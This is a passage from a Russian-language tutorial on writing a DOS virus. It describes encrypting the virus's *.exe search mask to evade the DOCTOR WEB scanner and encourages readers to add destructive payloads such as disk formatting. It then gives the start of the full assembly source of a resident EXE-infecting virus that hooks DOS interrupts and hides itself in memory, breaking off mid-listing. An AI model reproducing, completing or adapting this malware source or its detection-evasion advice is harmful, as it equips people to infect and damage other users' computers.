2.6 Защита от обнаружения вируса в файле
Защитить вирус от обнаружения в файле намного про-
ще, чем в памяти.Достаточно только зашифровать ма-
ску для поиска EXE - программ ( *.exe ), и вирус
обнаружен не будет.Естественно, перед поиском фай-
ла - жертвы маска должна быть расшифрована,а в за-
раженном файле присутствовать в зашифрованном ви-
де.
Для решения этой задачи был предложен такой алго-
ритм: маска расшифровывается вирусной копией, на-
ходящейся в памяти, непосредственно перед поиском
EXE-файла,а при записи вирусного кода в файл снова
шифруется. Вряд-ли DOCTOR WEB станет устанавливать
резидентный вирус в память, а потом еще и прове-
рять, как он работает. А при простом просмотре или
даже прохождении зараженной программы отладчиком
можно увидеть только закодированную маску.
2.7 Несколько слов о вредных
действиях вирусной программы
Вирус, как правило, для того и пишется,чтобы кому-
то навредить или пошутить над пользователями .Поэ-
тому естественно было бы включить в него какие-ни-
будь действия,мешающие нормальной работе операто-
ров компьютеров .Конечно,здесь существует огромная
свобода : от тривиальной блокировки клавиатуры до
" осыпания " букв с экрана или форматирования вин-
честера . Многие вирусы вообще содержат серьезные
ошибки, из - за которых зараженная система может
перестать работать, поэтому что - нибудь более не-
приятное придумать непросто .
Поскольку книга носит учебный харатер, мы не будем
развивать " вредительскую " тему, а вместо этого
предоставим нашим читателям возможность творчески
подойти к задаче.Можете не огорчаться - встроить в
вирусную программу вредное действие на порядок
проще,чем создать эту программу.Учтите только, что
изготовление вирусов - дело очень неблагодарное, и
без должной конспирации способно принести самому
" писателю " массу неприятностей.Сами вирусы (осо-
бенно чужие) - довольно неприятная штука, хотя эта
тема очень интересна.
2.8 Полный текст резидентного EXE - вируса
Как я уже говорил, эта программа является просто
итогом всех предыдущих и фактически составлена из
их частей .Поэтому больше объяснять, вероятно, не-
чего .Последний штрих - приведем полный текст раз-
работанного нами резидентного EXE - вируса :
; _______________________________________________
;| |
;| EXE TSR virus |
;| Especially for my readers |
;|_______________________________________________|
prg segment
assume cs:prg,ds:prg,es:prg,ss:prg
org 100h
vir: db 0ebh ;9090h - Для
;резидентной
db push_len ;работы .
pushf
call cs:rest_code ;Для надежности
;восстановим
;промежуточный
;обработчик
;INT 21h ...
cmp bx,1997h ;Это проверка
jne cs:not_our ;повторной за-
mov ah,0ffh ;грузки вируса в
popf ;память ?
iret ;
not_our:cmp cs:tg_infect - 100h,1 ;Активизировать-
;ся ?
je cs:vir_2 ;Да ...
popf
jmp dword ptr cs:old_28h - 100h ;Нет - вызовем
;старый INT 28h,
;чтобы не
;"топить" другие
;резиденты ...
vir_2: db 9ah
old_28h dw 0
old_28h_2 dw 0
pushf ;Сохраним в сте-
;ке регистры
push ax
push bx
push cx
push dx
push si
push di
push bp
push ds
push es
jmp cs:infect ;Перейти к зара-
;жению файлов...
push_len equ $-vir - 2
mov ax,cs ;Исправим DS для
;работы
db 2dh ;в зараженном
;EXE - файле .
sub_ds dw 0
mov ds,ax
mov ax,ds
mov es_save,es ;Сохраним значе-
;ние ES ,бывшее
;при загрузке
;программы ...
push es
mov ax,old_ip ;Восстановим ис-
;ходные пара-
mov my_ip,ax ;метры заголовка
;зараженного
mov ax,old_cs ;файла ...
mov my_cs,ax
mov ax,to_16h
mov my_16h,ax
mov ax,old_ss
mov my_ss,ax
mov ax,old_sp
mov my_sp,ax
;Проверим ,есть
;вирус в па-
mov bx,1997h ;мяти ,или еще
int 28h ;нет ...
cmp ah,0ffh
jne inst ;Нет - устанав-
;ливаем ...
fresh_input:
pop es
mov ax,my_ip ;Восстановим
;исходные CS
mov old_ip,ax ;и IP ,а также
;необходимые
mov ax,my_cs ;для правильной
;работы
mov old_cs,ax ;значения SS и
;SP ...
mov ax,my_16h
mov to_16h,ax
mov ax,my_sp
mov sp,ax
mov ax,cs ;Расчитаем точку
;входа
sub ax,to_16h ;EXE - программы
add my_ss,ax
mov ss,my_ss
add ax,old_cs
mov old_cs,ax
push ax
push old_ip ;Восстановим DS
mov ax,es
mov ds,ax
db 0cbh ;Машинный код
;команды возвра-
;та из дальней
;процедуры ...
old_ip dw 0 ;
old_cs dw 0 ;
inst: push es ;Найдем первый
;PSP в
xor di,di ;памяти ...
xor ax,ax
to_new_seg:inc ax
mov es,ax
cmp ax,0ffffh ;Этот сегмент -
;последний ?
jae free_mem
cmp byte ptr es:[di],4dh ;Это -
;MCB - блок ?
jne to_new_seg ;Нет !
to_test: mov bx,ax ;Да !
add bx,es:[di+3]
inc bx
mov es,bx
cmp byte ptr es:[di],4dh ;Следующий MCB
;корректен ?
je restore_es ;Да !
cmp byte ptr es:[di],5ah
jne to_new_seg ;Нет !
restore_es:mov es,ax
cmp word ptr es:[di+1],0 ;MCB свободен ?
je to_new_seg ;Да !
mov bx,es
inc bx
cmp es:[di+1],bx
jne to_new_seg
cmp byte ptr es:[di+10h],0cdh ;После MCB сле-
;дует PSP ?
jne to_new_seg ;Нет - тогда он
;нас не
;интересует ...
mov first_psp,es ;Да - найдена
;нужная нам
mov cx,es ;область памяти
dec es_save
cmp es_save,cx ;А может ,мы на-
;шли свой
;же PSP ?
jne add_05h ;Нет !
pop es
jmp fresh_input ;Да !
add_05h: add first_psp,05h
free_mem: pop es
mov ah,4ah ;Определим объем
;доступной
;памяти ...
mov bx,0ffffh ;Заведомо невоз-
;можное
int 21h ;значение
;(0ffffh) !
; _______________________________________________
;| Найдем свободный MCB - блок ,чтобы можно было |
;| записать в него резидентную часть вируса ... |
;|_______________________________________________|
sub bx,vir_par + 4 ;Оставим вирусу
;на 4 параграфа
;больше ,чем
;он сам занимает
mov ah,4ah ;А остальная
;память
int 21h ;будет занята ...
jnc give_mem
to_fresh_input:
jmp fresh_input
give_mem: mov ah,48h ;Попросим DOS
;отдать сво-
;бодный блок нам
mov bx,vir_par + 2 ;Запас в два
;параграфа ...
int 21h
jc to_fresh_input
; _______________________________________________
;|Теперь свободный блок памяти найден |
;|( сегментный адрес в AX ) ,и нужно |
;|записать в него код вируса ... |
;|_______________________________________________|
xor di,di ;
mov bx,ax ;
dec bx ;
mov word ptr es:[2],bx ;Корректируем
;PSP ...
mov es,bx ;Делаем вирус
mov bx,0070h ;" невидимым "
mov es:[di+1],bx ;в памяти ...
mov es,di ;Получаем векто-
;ра прерываний
cli
mov di,084h ;Int 21h ...
mov bx,es:[di]
mov old_21h,bx
mov bx,es:[di+2]
mov old_21h_2,bx
mov di,0a0h ;Int 28h ...
mov bx,es:[di]
mov old_28h,bx
mov bx,es:[di+2]
mov old_28h_2,bx
sti
mov word ptr vir,9090h ;Подготавливаем
;вирус
mov tg_infect,0 ;к резидентной
;работе ...
mov our_21h_cs,ax ;Эти значения
;потребуются
mov bx,old_21h ;промежуточному